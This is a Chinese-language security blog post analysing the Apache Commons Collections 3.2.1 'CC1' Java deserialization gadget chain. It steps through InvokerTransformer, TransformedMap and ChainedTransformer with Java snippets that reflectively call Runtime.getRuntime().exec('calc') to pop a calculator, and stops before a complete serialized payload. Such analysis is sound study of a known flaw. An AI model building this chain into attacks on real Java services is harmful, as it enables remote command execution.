JAVA反序列化-CC1链分析

admin 2023年9月13日11:27:15评论23 views字数 5516阅读18分23秒阅读模式

一、组件介绍

ApacheCommons当中有⼀个组件叫做ApacheCommonsCollections,主要封装了Java的Collection(集合)相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件,CommonsCollections被⼴泛应⽤于各种Java应⽤的开发,⽽正是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

       ApacheCommonsCollections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

环境

  • CommonsCollections <= 3.2.1

  • java < 8u71(我是用的是8u66)

导入Maven依赖

 <dependency>      <groupId>commons-collections</groupId>      <artifactId>commons-collections</artifactId>      <version>3.2.1</version> </dependency>

二、CC1链分析

分析思路

① 该类是可序列化的,也就是实现了Serializable或Externalizable接口,因为只有实现了该接口才可被序列化

② 该类中存在可控变量,因为变量可控才可传入任意构造的特殊值

③通过传入特殊构造的值,能够实现执行远程代码,如Runtinme.getRuntiem().exec()

ApacheCommonsCollections包中,就有一个InvokerTransformer类,实现了Serializable接口和Transformer接口(符合要求①),它通过java的反射机制进行传值,最终会调用执行传入的任意方法(符合要求②),最后通过传入构造的值,能够触发Runtinme.getRuntiem().exec()执行系统命令(符合要求③)。

JAVA反序列化-CC1链分析

1.InvokerTransformer

在InvokerTransformer.java类中,提供了一个对象转换方法transform,而transform方法中使用了反射,而且未对参数进行判断,通过控制传入的参数可以执行任何类中的方法。

JAVA反序列化-CC1链分析

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {    this.iMethodName = methodName;    this.iParamTypes = paramTypes;    this.iArgs = args;}
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } }}

InvokerTransformer类的构造方法,传入了三个参数,并且是可控的。分别是String methodName 方法名、Class[] paramTypes 顺序获取到的方法形参类型和Object[] args  所有参数,然后重写了Transformer接口的transform方法。

实现实例化对象时通过构造函数传入方法名、方法形参类型、方法参数值,方法名为exec、有一个参数calc,该参数类型是String。

package org.rkabyss;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Main { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); }}

调用transform方法,反射调用了构造的参数,获取到了Runtime类名和类中GetRuntime方法。

JAVA反序列化-CC1链分析

执行了Runtime.getRuntime().exec("calc");弹出计算器。

JAVA反序列化-CC1链分析

(1)通过new一个InvokerTransformer对象并传入一个exec方法,参数是calc.exe,参数类型是String。

(2)调用transform方法,传入的是Runtime.getRuntime()对象,transform就会通过Runtime.getRuntime()执行exec方法也就是最后执行了Runtime.getRuntime().exec("calc.exe")

2.TransformedMap

通过查找用法找到了TransformedMap.java类中的checkSetValue方法调用了transform方法,但是checkSetValue是⼀个保护⽅法,没有办法直接调用。

JAVA反序列化-CC1链分析

checkSetValue的实现是通过valueTransformer来调用transform方法,TransformedMap类中找到decorate静态⽅法。

JAVA反序列化-CC1链分析

在decorate方法中可以传参数,通过TransformedMap类构造将参数赋给valueTransformer。

JAVA反序列化-CC1链分析

Map : 需要转换的 Map 对象

KeyTransformer : ⽤于转换键的转换器 , 如果为 null 则表示不进⾏转换

ValueTransformer : ⽤于转换值的转换器 , 如果为 null 则表示不进⾏转换

public class Main {    public static void main(String[] args) {        Runtime runtime = Runtime.getRuntime();        InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});        HashMap<Object,Object> map = new HashMap<>();        TransformedMap.decorate(map,null,invokerTransformer);    }}

我们通过构造参数进行传入参数,但是还没有调用checkSetValue方法,需要再找调用checkSetValue方法的地方。

JAVA反序列化-CC1链分析

找到了TransformedMap的父类AbstractInputCheckedMapDecorator,在AbstractInputCheckedMapDecorator类中MapEntry类的setValue方法调用了checkSetValue。TransformedMap.java 的⽗类是AbstractInputCheckedMapDecorator。TransformedMap是继承 AbstractMapEntryDecorator的抽象类的所以可以使⽤抽象类中的setValue方法。

JAVA反序列化-CC1链分析

public class cc1 {    public static void main(String[] args) throws Exception {        Runtime r = Runtime.getRuntime();        InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});        HashMap<Object, Object> map = new HashMap<>();        map.put("key","value");        Map<Object, Object> TransformedMapMethod = TransformedMap.decorate(map, null, invokerTransformer);        for (Map.Entry entry:TransformedMapMethod.entrySet()){            entry.setValue(r);        }    }

通过分析构造代码,调用了setValue方法,value参数是Runtime,调用了checkSetValue方法

JAVA反序列化-CC1链分析

调用了TransformedMap类中checkSetValue方法

JAVA反序列化-CC1链分析

调用了InvokerTransformer类中transform方法。

JAVA反序列化-CC1链分析

弹出计算器。

JAVA反序列化-CC1链分析

3.ChainedTransformer

ChainedTransformer类构造接收的是Transformer[]数组,当传⼊的参数是⼀个数组的时候,就会执行ChainedTransformer类的transform方法,就开始循环读取,对每个参数调⽤InvokerTransformer类中的transform⽅法,从⽽构造出⼀条链。

public ChainedTransformer(Transformer[] transformers) {        this.iTransformers = transformers;    }
public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object;}

JAVA反序列化-CC1链分析

public class Main {    public static void main(String[] args) {        Transformer[] transformers = new Transformer[]{                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})        };        new ChainedTransformer(transformers).transform(Runtime.class);    }}

定义数组,调用InvokerTransformer类通过构造保存参数。

JAVA反序列化-CC1链分析

在ChainedTransformer的transform方法,将Runtime为参数传入。

JAVA反序列化-CC1链分析

然后将传入的方法链式,第一个数组的尾作为第二个数组的参数,依次形成链式调用。

JAVA反序列化-CC1链分析

弹出计算器。

JAVA反序列化-CC1链分析

4.ConstantTransformer

这个类的transform方法无论传入什么样的object对象都会返回一个iConstant私有对象,而这个对象通过有参构造函数传入,为我们可控。

public static Transformer getInstance(Object constantToReturn) {        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));    }
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }

JAVA反序列化-CC1链分析

这玩意研究还不透彻,有时间我再研究研究,再把没涉及到的内容补发一篇文章。

原文始发于微信公众号(我真不会渗透):JAVA反序列化-CC1链分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月13日11:27:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA反序列化-CC1链分析https://cn-sec.com/archives/2031753.html

发表评论

匿名网友 填写信息